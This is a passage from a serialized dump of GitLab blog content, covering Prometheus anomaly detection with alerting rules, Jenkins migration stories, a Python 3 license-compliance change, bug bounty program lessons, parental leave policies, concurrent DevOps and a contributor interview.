job:http_requests:rate5m:avg_over_time_1w offset 3w\n       , \"offset\", \"3w\", \"\", \"\")\n   )\n   without (offset)\n```\n{: .language-yaml}\n\nNow, our prediction deriving the median value from the series of three aggregations is much more accurate.\n\n![Graph showing median predications vs. actual Gitaly RPS on Weds May 8](https://about.gitlab.com/images/blogimages/prometheus_anomaly/image5.png){: .shadow.medium.center}\n\nMedian predictions vs actual Gitaly RPS, Wednesday, May 8 (one week following International Labor Day)\n{: .note.text-center}\n\n### How do we know our prediction is truly accurate?\n\nTo test the accuracy of our prediction, we can return to the z-score. We can use the z-score to measure the sample's distance from its prediction in standard deviations. The more standard deviations away from our prediction we are, the greater the likelihood is that a particular value is an outlier.\n\n![Predicted normal range +1.5σ/-1.5σ](https://about.gitlab.com/images/blogimages/prometheus_anomaly/image6.png){: .shadow.medium.center}\n\nPredicted normal range ± 1.5σ for Gitaly Service\n{: .note.text-center}\n\nWe can update our Grafana chart to use the seasonal prediction rather than the weekly rolling average value. The range of normality for a certain time of day is shaded in green. Anything that falls outside of the shaded green area is considered an outlier. In this case, the outlier was on Sunday afternoon when our cloud provider encountered some network issues.\n\nUsing boundaries of ±2σ on either side of our prediction is a pretty good measurement for determining an outlier with seasonal predictions.\n\n## How to set up alerting using Prometheus\n\nIf you want to set up alerts for anomaly events, you can apply a pretty straightforward rule to Prometheus that checks if the z-score of the metric is between a standard deviation of **+2 or -2**.\n\n```\n- alert: RequestRateOutsideNormalRange\n  expr: >\n   abs(\n     (\n       job:http_requests:rate5m - job:http_requests:rate5m_prediction\n     ) / job:http_requests:rate5m:stddev_over_time_1w\n   ) > 2\n  for: 10m\n  labels:\n    severity: warning\n  annotations:\n    summary: Requests for job {{ $labels.job }} are outside of expected operating parameters\n```\n{: .language-yaml}\n\nAt GitLab, we use a custom routing rule that pings Slack when any anomalies are detected, but doesn’t page our on-call support staff.\n\n## The takeaway\n\n1. Prometheus can be used for some types of anomaly detection\n2. The right level of data aggregation is the key to anomaly detection\n3. Z-scoring is an effective method, if your data has a normal distribution\n4. Seasonal metrics can provide great results for anomaly detection\n\nWatch Andrew’s full presentation from [Monitorama 2019](https://monitorama.com/index.html). If you have questions for Andrew, reach him on Slack at #talk-andrew-newdigate. You can also read more about [why you need Prometheus](/blog/why-all-organizations-need-prometheus/).\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://player.vimeo.com/video/341141334?portrait=0\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n",[676],{"slug":28424,"featured":6,"template":678},"anomaly-detection-using-prometheus","content:en-us:blog:anomaly-detection-using-prometheus.yml","Anomaly Detection Using Prometheus","en-us/blog/anomaly-detection-using-prometheus.yml","en-us/blog/anomaly-detection-using-prometheus",{"_path":28430,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28431,"content":28437,"config":28441,"_id":28443,"_type":16,"title":28444,"_source":17,"_file":28445,"_stem":28446,"_extension":20},"/en-us/blog/three-teams-left-jenkins-heres-why",{"title":28432,"description":28433,"ogTitle":28432,"ogDescription":28433,"noIndex":6,"ogImage":28434,"ogUrl":28435,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28435,"schema":28436},"3 Teams left Jenkins: Here’s why","How three different teams – Alteryx, ANWB, and EAB – shifted away from Jenkins for smoother sailing with GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671932/Blog/Hero%20Images/jenkins-to-gitlab-sailboat.jpg","https://about.gitlab.com/blog/three-teams-left-jenkins-heres-why","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"3 Teams left Jenkins: Here’s why\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Brein Matturro\"}],\n        \"datePublished\": \"2019-07-23\",\n      }",{"title":28432,"description":28433,"authors":28438,"heroImage":28434,"date":28420,"body":28439,"category":8943,"tags":28440},[24484],"\nAs many companies know, continuous integration and build processes are challenging. Complex tool\nintegrations, pieced-together pipelines, and overall system breakdowns are time consuming for\neven the most experienced teams. The longer it takes for system recovery, the more costly it\nbecomes, creating more risk for the organization as a whole. Competitive companies are always on\nthe lookout for better solutions and they're increasingly turning to GitLab to do just that.\n\nThree companies – Alteryx, ANWB, and EAB – all experienced unique challenges with Jenkins.\nWe highlight how each of these teams made the successful move to\n[GitLab from Jenkins](/solutions/jenkins/). Learn how each team\naccelerated deployment, improved CI/CD pipelines, created developer transparency, and\nalleviated toolchain stressors after making the switch to GitLab.\n\n## Alteryx: Builds down from 3 hours to 30 minutes\n\nAlteryx, a prominent end-to-end analytics platform, was using a legacy system with Jenkins\nthat was older, clunky, and difficult to manage. The team was looking to modernize their architecture\nand to improve their overall software development lifecycle.\n\nThey turned to GitLab because it offers many solutions in one tool. With GitLab, the Alteryx team is now\ncapable of managing source code, CI/CD, code reviews, and security scanning all in one place.\nA build that took three hours with Jenkins is now just 30 minutes in GitLab.\n\nAs Alteryx continues to grow in the analytics space, GitLab will continue to add new features\nto support the company's expanding needs. Learn more about [Alteryx’s journey](/customers/alteryx/).\n\n## ANWB: Increased deployments\n\nWith over 4.4 million members, ANWB offers services for credit cards, bicycle maintenance,\ncar sales, and travel throughout the Netherlands. Both the mobile and web development\nteams have their hands full with popular offerings like mapping and driver intelligence services.\n\nANWB was struggling with an outdated toolchain that included Jenkins version 1 as a build server.\nThe company wanted to speed up development, eliminate isolated and outdated processes and give\nits teams autonomy.\n\nWith GitLab, ANWB can now manage separate teams, increase deployments, and support a culture\nwhere everyone contributes freely to colleagues' code repositories. ANWB has plans to move toward a\ncloud-centric framework and GitLab has helped to pave that road. Learn more about [ANWB’s path to success](/customers/anwb/).\n\n## EAB: \"Quality first\" culture\n\nServing over 1,500 schools, colleges, and universities, EAB uses data analytics and transformative\nmeasures to help students stay enrolled in education. The EAB team had to rely on several tools,\nincluding Jenkins, which made continuous integration overly complex and time consuming.\nDevelopers wanted to consolidate their various tools to create faster builds with much less maintenance.\n\nEAB initially turned to GitLab because of our regular feature releases and [tiered (and affordable) pricing](/pricing/).\nThe EAB development team soon realized they could have a steady pace of\nbuild releases without having to use multiple tools to make it happen. In just six months, workflow increased\nand the company plans to continue to roll out a \"quality first\" culture using GitLab as a guide.\n\n\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>&nbsp;&nbsp;\nWatch the [Migrating from Jenkins to GitLab](https://www.youtube.com/watch?v=RlEVGOpYF5Y) demo\n&nbsp;&nbsp;\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>\n{: .alert .alert-webcast}\n\nCover image by [Fab Lentz](https://unsplash.com/@fossy) on [Unsplash](https://unsplash.com)\n{: .note}\n",[4772,1268,110],{"slug":28442,"featured":6,"template":678},"three-teams-left-jenkins-heres-why","content:en-us:blog:three-teams-left-jenkins-heres-why.yml","Three Teams Left Jenkins Heres Why","en-us/blog/three-teams-left-jenkins-heres-why.yml","en-us/blog/three-teams-left-jenkins-heres-why",{"_path":28448,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28449,"content":28454,"config":28460,"_id":28462,"_type":16,"title":28463,"_source":17,"_file":28464,"_stem":28465,"_extension":20},"/en-us/blog/python-3-defailt-for-license-compliance",{"title":28450,"description":28451,"ogTitle":28450,"ogDescription":28451,"noIndex":6,"ogImage":12013,"ogUrl":28452,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28452,"schema":28453},"Python 3 becomes default for license compliance scanning","Python 3 will soon become the default version used by the Secure stage License Compliance feature.","https://about.gitlab.com/blog/python-3-defailt-for-license-compliance","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Upcoming breaking change: Python 3 will be the default version used in License Compliance\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Nicole Schwartz\"}],\n        \"datePublished\": \"2019-07-19\",\n      }",{"title":28455,"description":28451,"authors":28456,"heroImage":12013,"date":28457,"body":28458,"category":736,"tags":28459},"Upcoming breaking change: Python 3 will be the default version used in License Compliance",[14949],"2019-07-19","\n\nWith the release of GitLab 12.2 on August 22, Python 3 will become the default version used in the Secure\nstage License Compliance\u003Csup>1\u003C/sup> feature. GitLab.com users should expect to see the change at\nthe beginning of August.\n\n### What do I do if I use Python 2.0?\n\nGitLab self-managed users with Python 2 will need to set the CI variable `LM_PYTHON_VERSION` to \"2\" when\nthey start using GitLab 12.2. GitLab.com users will need to do so at the beginning of August.\n\nIn the GitLab 12.0 release post, [we announced License Compliance\u003Csup>1\u003C/sup> will change the\ndefault version of Python from version\n2 to version 3](/releases/2019/06/22/gitlab-12-0-released/#license-management-will-use-python-3-as-the-default-in-gitlab-12.2)\nin GitLab 12.2, and that support for Python 2 would be deprecated in a future release due\nto [Python 2.7 reaching the end of its life](https://pythonclock.org/) on Jan. 1, 2020.\n\n### What if I currently use Python 3?\n\nYou can change License Compliance\u003Csup>1\u003C/sup> to use Python 3 by setting the CI\nvariable `LM_PYTHON_VERSION` to \"3\" today. If you do not make this change before the default\nis changed, it will only begin to work starting with GitLab 12.2.\n\n##### \u003Csup>1\u003C/sup>What is License Compliance?\n\nLicense Compliance, formerly called License\nManagement, [is being renamed to better align with common industry vernacular starting in 12.2](/releases/2019/06/22/gitlab-12-0-released/#secure-license-management-renamed-to-license-compliance-in-gitlab-12.0).\nThe purpose of License Compliance is to track which licenses are used by third-party\ncomponents included in your project, like libraries and external dependencies, and to check that\nthey are compatible with your organizations licensing model. License Compliance is part of our\n[Secure Composition Analysis group](/handbook/product/categories/#composition-analysis-group).\n\nYou can view the [documentation for License Management here](https://docs.gitlab.com/ee/user/compliance/license_compliance/index.html).\n",[774,736,232],{"slug":28461,"featured":6,"template":678},"python-3-defailt-for-license-compliance","content:en-us:blog:python-3-defailt-for-license-compliance.yml","Python 3 Defailt For License Compliance","en-us/blog/python-3-defailt-for-license-compliance.yml","en-us/blog/python-3-defailt-for-license-compliance",{"_path":28467,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28468,"content":28473,"config":28478,"_id":28480,"_type":16,"title":28481,"_source":17,"_file":28482,"_stem":28483,"_extension":20},"/en-us/blog/what-we-learned-by-taking-our-bug-bounty-program-public",{"title":28469,"description":28470,"ogTitle":28469,"ogDescription":28470,"noIndex":6,"ogImage":11314,"ogUrl":28471,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28471,"schema":28472},"What we learned by taking our bug bounty program public","Six months into our public bug bounty program, we're taking stock of what's working and where we can make improvements.","https://about.gitlab.com/blog/what-we-learned-by-taking-our-bug-bounty-program-public","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What we learned by taking our bug bounty program public\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ethan Strike\"}],\n        \"datePublished\": \"2019-07-19\",\n      }",{"title":28469,"description":28470,"authors":28474,"heroImage":11314,"date":28457,"body":28476,"category":674,"tags":28477},[28475],"Ethan Strike","\nWhen [we opened up our bug bounty program to the public back in December 2018](/blog/gitlab-hackerone-bug-bounty-program-is-public-today/), we weren’t sure WHAT to expect. Certainly we anticipated a flood of new reports which would keep us occupied for quite some time, and the community did not disappoint! While this was true for the first few months, that spike has since evened itself out. We did encounter a few surprises, though, around the net number of new, unique reporters and the number of reports from unique reporters.\n\nIn the first seven weeks after making the program public, 42% of all reporters were first-time contributors, and 64% of all the reports received since going public were from first-time reporters to the GitLab program.\n\nSince taking the program public, we roughly doubled the number of valid reports in the program’s history. We have had a paid, private program since 2017, and this program included only the top 1-10% of HackerOne contributors, so opening our program up publicly has not only engaged a broad cross-section of the reporter community, but also made our products and services more secure. We took a closer look at [how we measure success in our public bug bounty program in an earlier blog post](/blog/inside-the-gitlab-public-bug-bounty-program/).\n\n## Triage and response\nResponding to the sheer volume of new reports coming in presents its own set of challenges. So, what does our triage and response process look like?\n\nFor new reports we use an automated bot to provide the initial response to reporters that includes our current triage ETA. This gives an estimation of how long it will take for our team to triage their report. Reports which clearly have a \"critical\" impact will be triaged first. Then, everything else is triaged according to the order submitted. This is important because it helps us to identify duplicate reports and gives fair priority.\n\nFor effective triage, it's paramount for reports to include clear proof of concepts and any other evidence which makes the impact evident to our triage team. Here we classify impact as the amount of affected assets multiplied against their sensitivity levels, according to our data classification policy. This and other factors help us to determine the appropriate severity and priority of an issue.\n\nWe also use an internally developed slack command to import triaged reports from HackerOne and into GitLab issues. We define the impacted project and appropriate labels as input, and then the script creates a new confidential issue. The correct team is then assigned, specifically the [product managers](/handbook/product/categories/), where they will take further action to schedule the fix with the engineering teams. Read more on our [issue triage process](/handbook/security/#issue-triage).\n\n![Thank you to our new reporters!](https://about.gitlab.com/images/blogimages/New-reporters-July2019.png){: .shadow.medium.center}\n\nRefining our triage process is just one area where we’ve built improvements based on lessons learned and the evolution of the public program over the last six months. If we look at overall results, we’ve got both positive and not-so-positive results we’re analyzing and improving upon. Our public program has certainly been impactful in the number of vulnerabilities we've identified:\n* From the public program debut through July 3rd, we received 205 valid vulnerabilities. Of that total, 89 vulnerabilities (43%) were from reporters new to the program.\n* In that same period, we received 10 critical-severity vulnerabilities, three of which were from new reporters.\n* And, of the 33 high-severity vulnerabilities reported, 24 (72%) were from new reporters.\n\nOn the flip side, we received an increased number of false positives. Of the 677 reports received through July 3rd, 277 were false positives; 215 (78%) of which were by reporters that started participating after the program went public. Overall though, we consider it a net win, because even these false positives allow us to refine and improve our triage and response processes.\n\n## Timely and accurate communications\nThe one area where we’re most looking to improve upon is communication. An effective feedback loop with our HackerOne reporters is vital to continued engagement and effective collaboration. Naturally, with the increased number of reports it’s even more challenging to keep reporters in the loop with timely information. Luckily, this is one area in which automation can help.\n\nPreviously, our security automation team had put together a bot that made first contact when a report was submitted. As the program has matured, our automation team has added the ability to send the reporter the expected date of fix, based on the milestone assigned to the issue; providing further transparency into our triage and response process. Initially, this information was collected by the triaging engineer, but utilizing the GitLab API allows for communication in a more timely manner.\n\nOutside of automation, we’ve implemented a rotation schedule within our team, which assigns a dedicated individual for H1 response and triage each week. This simple system has allowed us to work through our backlog and increase our responsiveness. We’ll continue to explore ways to keep our reporters best informed.\n\nWe’ve also tweaked how fixes are reported and scheduled based on lessons learned from the first few weeks of our public program. Previously, fixes were reported to engineering managers for each team, who fit them into each development cycle as needed. With the increased number of findings, however, we’ve adjusted the process so that the security team now assigns the due date, but the product manager is the single decision-maker for balancing feature and security deliverables. This allows us to better track company response times, and work with development teams to prioritize fixes.\n\n## Transparency and collaboration\n[Transparency](https://handbook.gitlab.com/handbook/values/#transparency) is one of our core values; everything we make at Gitlab is public by default and HackerOne reports are no different. We believe that publicly disclosing the reports we receive through our bug bounty program helps reduce the threshold to contribution because it allows researchers to learn and develop on top of other researchers’ findings.\n\nIt’s also noteworthy that the public bug bounty findings help us identify areas to focus on for developer secure coding training. For example, if we see a trend of a certain class of vulnerabilities, we can target education efforts for our developers around the recommended best practices to reduce the number of future reports relating to that class of vulnerabilities.\n\nOur bug bounty program has also delivered data and findings that prompted us to refine and improve how we approach [application security](/topics/devsecops/) at GitLab. Due to the significant volume of authorization issues reported, we realized that ensuring precision and accuracy of our [permissions model](https://docs.gitlab.com/ee/user/permissions.html) across the whole platform is an area that needs improvement. An efficient solution we are investigating is to automate these authorization checks via CI.\n\nAnother key finding this program helped us uncover is that certain classes of vulnerabilities appear repeatedly. Therefore we advocate code reuse through the use of security-focused libraries. This consolidates the security controls needed to prevent vulnerability classes such as SSRF from reappearing.\n\nWe’re proud to see the benefits and value being generated by our bug bounty program and specifically our reporter community, spread far beyond GitLab and across the industry.\n\nYou can always see the most up-to-date program stats on our public [HackerOne dashboard](https://hackerone.com/gitlab).\n\nCover image by [markus spiske](https://www.pexels.com/photo/photo-of-green-data-matrix-1089438/) on [Pexels](https://www.pexels.com)\n{: .note}\n",[267,674,676,1938],{"slug":28479,"featured":6,"template":678},"what-we-learned-by-taking-our-bug-bounty-program-public","content:en-us:blog:what-we-learned-by-taking-our-bug-bounty-program-public.yml","What We Learned By Taking Our Bug Bounty Program Public","en-us/blog/what-we-learned-by-taking-our-bug-bounty-program-public.yml","en-us/blog/what-we-learned-by-taking-our-bug-bounty-program-public",{"_path":28485,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28486,"content":28491,"config":28496,"_id":28498,"_type":16,"title":28499,"_source":17,"_file":28500,"_stem":28501,"_extension":20},"/en-us/blog/how-is-it-being-a-new-mom-working-for-gitlab",{"title":28487,"description":28488,"ogTitle":28487,"ogDescription":28488,"noIndex":6,"ogImage":28340,"ogUrl":28489,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28489,"schema":28490},"Parental/maternity leave around the world – how does your country stack up?","A new mother at GitLab takes a look at how different countries approach time off for new parents.","https://about.gitlab.com/blog/how-is-it-being-a-new-mom-working-for-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Parental/maternity leave around the world – how does your country stack up?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jarka Košanová et al\"}],\n        \"datePublished\": \"2019-07-18\",\n      }",{"title":28487,"description":28488,"authors":28492,"heroImage":28340,"date":28493,"body":28494,"category":6634,"tags":28495},[28346],"2019-07-18","\n_This is the first in a four-part series looking at a myriad of issues surrounding working remotely with children. We’ll take a look at parental leave policies worldwide, get an inside view of working at GitLab with a newborn, and discover tried-and-true strategies for working remotely with older children._\n\nAt GitLab we have a generous [parental leave policy](/handbook/total-rewards/benefits/#parental-leave).\n\nWhen I returned from my maternity leave, I started to think about what that leave means for all team members. I come from the Czech Republic, a country where it is considered ideal for a mother to stay home from work until their child is about three years old. This expectation extends to each child in the family. In this blog post, I will look at parental leave around the world, and in a second post I’ll talk about my experience working at GitLab with a newborn. The opinions are my own, of course, and in every country, including my home nation, there can be major differences in leave standards between big cities and the rest of the country, especially in the smaller villages and across different social groups.\n\n## Parental leave in the Czech Republic\n\nIt is a [complex system](https://www.euraxess.cz/czech-republic/information-assistance/childrenfamily-and-personal-life/maternity-leave-and-parental) but what is important is that once a baby is born employers must keep the job of an employee on parental leave open for three years, and that’s for each child. Parents are entitled to a fixed amount of government money and they can decide for how long they want to receive the stipend (the amount is split accordingly for each month). Because employers have to keep a job open for three years, the vast majority of mothers stay at home for three years. It is quite rare for fathers to stay at home, although this number is increasing.\n\n## Standards vary, even in Europe\n\nI will summarize laws from a few countries to show how parental policies differ across Europe and worldwide.\n\nAbout [80% of women in the Czech Republic stay home with their new child for two years or more](https://www.oecd.org/els/family/LMF_1_2_Maternal_Employment.pdf), and even fewer women return to work within the first year after birth.\n\nThe parental leave policy is very similar [in Germany where employers must keep a position open for women for three years](https://www.thelocal.de/20140113/german-parental-leave-our-guide) and [a lot of working mothers use it](https://www.destatis.de/DE/Themen/Gesellschaft-Umwelt/Soziales/Elterngeld/Publikationen/Downloads-Elterngeld/elterngeld-leistungsbezuege-j-5229210187004.pdf?__blob=publicationFile&v=2).\n\n> In the US there is no law that enforces paid parental leave.\n\nI lived in Switzerland for almost four years, and it was the first time I encountered completely different rules and approaches to parental leave. In Switzerland, women are permitted to stay at home for three to four months (it depends on the employer but purely by law, they are entitled to [14 weeks of maternity leave](https://www.ch.ch/en/maternity-leave/)) and about 70% of mothers return to work during [the first two years](https://www.bfs.admin.ch/bfs/de/home/statistiken/kataloge-datenbanken/publikationen.assetdetail.1061095.html) of the child's life.\n\n## From the UK to the US\n\n[In the UK, where women can take up to 52 weeks of maternity leave](https://www.gov.uk/maternity-pay-leave/leave), about [65% of mothers of kids up to two years old work](https://www.ons.gov.uk/employmentandlabourmarket/peopleinwork/employmentandemployeetypes/articles/moremotherswithyoungchildrenworkingfulltime/2017-09-26).\n\n[In the Netherlands, women can take at least 16 weeks](https://www.expatica.com/nl/healthcare/womens-health/having-a-baby-in-the-netherlands-107665/) of maternity leave (including pregnancy) and almost 90% of women return to work before their child is one year, while in France 80% of mothers will return to work.\n\n> In the Czech Republic, about 80% of women stay home with children for two years or more.\n\nMore than half (53%) of Australian women return to work within the first two years.\n\n[In Sweden, both parents can split 480 days of parental leave](https://www.forsakringskassan.se/privatpers/foralder/nar_barnet_ar_fott/foraldrapenning/!ut/p/z0/04_Sj9CPykssy0xPLMnMz0vMAfIjo8ziTTxcnA3dnQ28_U2DXQwczTwDDcOCXY1CDc31g1Pz9AuyHRUBTbm8uw!!/) and most families use this benefit. Scandinavian countries also have the largest volume of fathers taking parental leave.\n\nIn the US, there is no law that enforces paid parental leave. The [Family and Medical Leave Act](https://en.wikipedia.org/wiki/Family_and_Medical_Leave_Act_of_1993) ensures 12 weeks of job protection with unpaid leave, and there are some states that have more generous policies. Companies are taken as very generous if they decide to provide at least a couple of paid weeks of leave. In the US, 60% of women return to work during the baby's first year and [44% go back to work within the first three months after giving birth](https://fairygodboss.com/maternity-leave-resource-center/statistics).\n\nThis is just a snapshot of how parental leave is treated around the world. Check the [Parental Leave Review 2018](https://www.leavenetwork.org/fileadmin/user_upload/k_leavenetwork/annual_reviews/Leave_Review_2018.pdf) if you are interested in more data from other countries. You may also find a [length of maternity, parental and father-specific leave table](https://stats.oecd.org/index.aspx?queryid=54760) interesting. And if you want a short summary across 11 countries, check out [this article from Business Insider](https://www.businessinsider.com/maternity-leave-worldwide-2017-8#germany-mothers-can-take-up-to-three-years-family-leave-11).\n\n_Next up: Jarka shares her experience with GitLab maternity leave as well as some good advice for expectant and early-stage parents._\n\nPhoto by [insung yoon](https://unsplash.com/@insungyoon?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/baby-mobile?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[3798,7715,267],{"slug":28497,"featured":6,"template":678},"how-is-it-being-a-new-mom-working-for-gitlab","content:en-us:blog:how-is-it-being-a-new-mom-working-for-gitlab.yml","How Is It Being A New Mom Working For Gitlab","en-us/blog/how-is-it-being-a-new-mom-working-for-gitlab.yml","en-us/blog/how-is-it-being-a-new-mom-working-for-gitlab",{"_path":28503,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28504,"content":28509,"config":28514,"_id":28516,"_type":16,"title":28517,"_source":17,"_file":28518,"_stem":28519,"_extension":20},"/en-us/blog/concurrent-devops",{"title":28505,"description":28506,"ogTitle":28505,"ogDescription":28506,"noIndex":6,"ogImage":28098,"ogUrl":28507,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28507,"schema":28508},"Making the case for \"concurrent DevOps\"","DevOps goes by a lot of different names, but we’ve settled on concurrent DevOps for now at least.","https://about.gitlab.com/blog/concurrent-devops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Making the case for \"concurrent DevOps\"\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2019-07-17\",\n      }",{"title":28505,"description":28506,"authors":28510,"heroImage":28098,"date":28511,"body":28512,"category":8943,"tags":28513},[11618],"2019-07-17","\nWhat’s in a name? Quite a lot, apparently, when it comes to the software development space. Over the last few years companies have come up with a number of different names to describe their DevOps efforts – BizDevOps, DevSecOps, and even “modern software development.” But here at GitLab we prefer the term “[concurrent DevOps](/topics/devops/).”\n\nTo explain the thought process behind our choice of concurrent DevOps and what it all might mean moving forward, GitLab CEO [Sid Sijbrandij](/company/team/#sytses) sat down with chief marketing officer [Todd Barr](/company/team/#tbarr) and corporate marketing senior director [Melissa Smolensky](/company/team/#melsmo). It’s safe to say [a healthy discussion ensued](https://www.youtube.com/watch?v=bDTYHGEIeM0).\n\n## Why “concurrent”?\n\n“In GitLab you’re not passing (code) along multiple stages,” explains Sid. “You don’t wait until something is ready and then send it off to some security testing. People can work in parallel. We call it concurrent because it can be parallel but it doesn't have to be.\"\n\nAnd concurrent DevOps stands out from what Sid calls “sequential DevOps.” Because no one is waiting for a handoff, or permission, everything goes faster, Sid offers. “I think concurrent DevOps could be a rallying cry,” he says. “If we can spread that idea, make it bigger than GitLab, it’s going to be easier for people to demand something like that and trust (us) with other solutions.”\n\n## Start with a mission (statement)\n\nBut Todd needs convincing that concurrent DevOps is the right term. “Concurrent DevOps isn’t really a category, it’s a benefit statement,” he says. He suggests a different approach, using our mission statement [“everyone can contribute”](/company/mission/#mission) as a starting point. “I think that has a lot of legs if we actually put more thought into what that means and what category that would mean if we’re creating a platform where everyone can contribute.”\n\n> Concurrent DevOps could be a rallying cry if we can spread that idea – make it bigger than GitLab\n\nSid agrees, in theory, that GitLab is creating a broader platform but doesn’t think the time is right, yet, to make that our main marketing message. “Yes, our visions are bigger. But if you’re too far ahead of where people think you are, you might fall flat on your face. If we can own DevOps I’d settle for that for the next few years.” Melissa agrees, pointing to the fact that enterprises still have a long way to go to integrate DevOps into their development lifecycles.\n\n## Size matters\n\nAnd there’s no question the DevOps market is sufficiently large to support GitLab’s growth, Sid says, referring to a report from Grand View Research that forecasts the market will be worth [nearly $13 billion in 2025](https://www.grandviewresearch.com/press-release/global-development-to-operations-devops-market). So the market opportunity is there, Todd agrees, and offers that both he and Melissa have been in the DevOps space so long they’ve sort of taken it for granted, which is why he suggested different terminology. “DevOps has become a term that's almost synonymous with future software lifecycle development,” he says. “But there's a people element that we've got to help people understand. With concurrent DevOps we're trying to be more inclusive in the process, or that's at least one benefit.”\n\nWe need to make the case that concurrent DevOps is better, Sid stresses, even if we eventually change the name later on. “Our big benefit is a single application for the entire DevOps lifecycle.”\n\n Watch the entire video:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/bDTYHGEIeM0\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nPhoto by [YIFEI CHEN](https://unsplash.com/photos/FPMRxKd7MxI?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/spiral-lights?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[4103,676],{"slug":28515,"featured":6,"template":678},"concurrent-devops","content:en-us:blog:concurrent-devops.yml","Concurrent Devops","en-us/blog/concurrent-devops.yml","en-us/blog/concurrent-devops",{"_path":28521,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28522,"content":28527,"config":28531,"_id":28533,"_type":16,"title":28534,"_source":17,"_file":28535,"_stem":28536,"_extension":20},"/en-us/blog/katrin-contributor-post",{"title":28523,"description":28524,"ogTitle":28523,"ogDescription":28524,"noIndex":6,"ogImage":26117,"ogUrl":28525,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28525,"schema":28526},"Meet GitLab Contributor Katrin Leinweber","Katrin Leinweber shares her experience contributing to GitLab documentation and translations.","https://about.gitlab.com/blog/katrin-contributor-post","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Meet GitLab Contributor Katrin Leinweber\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ray Paik\"}],\n        \"datePublished\": \"2019-07-17\",\n      }",{"title":28523,"description":28524,"authors":28528,"heroImage":26117,"date":28511,"body":28529,"category":813,"tags":28530},[21623],"\n\nFor this edition of the [GitLab contributor blog posts](/blog/tags.html#contributors), I'm\nexcited to introduce [Katrin Leinweber](https://gitlab.com/katrinleinweber). Let's get to know more about her!\n\n### Can you tell us where you live and what you like about your area?\n\nI live in [Hanover, Germany](https://www.google.com/maps/place/Hanover,+Germany/@52.3815678,9.6148482,10.97z/data=!4m5!3m4!1s0x47b00b514d494f85:0x425ac6d94ac4720!8m2!3d52.3758916!4d9.7320104),\nwhich is transitioning from a car manufacturing hub to a more modern and diversified city.\nThe city is reasonably bicycle friendly with large parks and gardens, which are worth a visit.\nI don't find Hanover too touristy, which is probably a plus for us citizens.\n\n### How long have you used GitLab and why did you want to make a contribution?\n\nI started using GitLab CE at my university in April 2015 as a backup server for my PhD thesis,\ndata analysis scripts, etc. [My first merge request](https://gitlab.com/gitlab-com/www-gitlab-com/merge_requests/6531)\nwas simply fixing a typo in a blog post.\n\n### You also help translating GitLab into German. How is that different from making contributions via MRs and why is translating GitLab important to you?\n\nLocalization is one of the tasks that got me into contributing to open source software projects in general.\nEven though I myself don't need a localized UI, I think it's valuable to many people to be able to\nuse a complex software in their native language. Since I think that GitLab has\n[valuable uses beyond programming](https://openbiblio.social/@katrinleinweber/102258903864249981),\nI hope lowering the barrier to entry for non-programmers will help support those use cases.\nAlso for me, doing quick translations is a sort of productive procrastination.\n\n![Canoeing on Hanover's river Leine (image credit Corinna John, [NABU Laatzen](https://www.nabu-laatzen.de/)](https://about.gitlab.com/images/blogimages/Katrin_Leinweber.jpg){: .shadow.medium.center}\nCanoeing on Hanover's river Leine\n{: .note.text-center}\n\n### What has been your experience contributing to GitLab?\n\nTechnically, it's pretty straightforward and something people should be familiar with if\nthey've contributed to other projects or used tools like GitHub. Every time I contribute,\nI feel like I'm living (in) the future where projects allow people to change something of theirs.\n\nHowever, we shouldn't forget that \"No, this Wiki page is only editable by colleagues in the XYZ department\"\nis still the default in so many work environments. So the future isn't quite here for everyone yet.\n\nOne of the things that bothers me about GitLab's contribution process is the fact that even simple changes\n– like documentation updates – get pushed into the same CI pipeline as code changes in many cases.\nIt seems like a waste of electricity. Maybe not in terms of absolute kWh, but since the risk of anything\nbreaking due to a typo fix or an updated hyperlink is almost zero, those kWh are effectively wasted.\nThere should be a smarter way to minimize human effort in preventing build breakages than to use\nmore CPU cycles for testing. We all know that humanity can't afford to waste resources 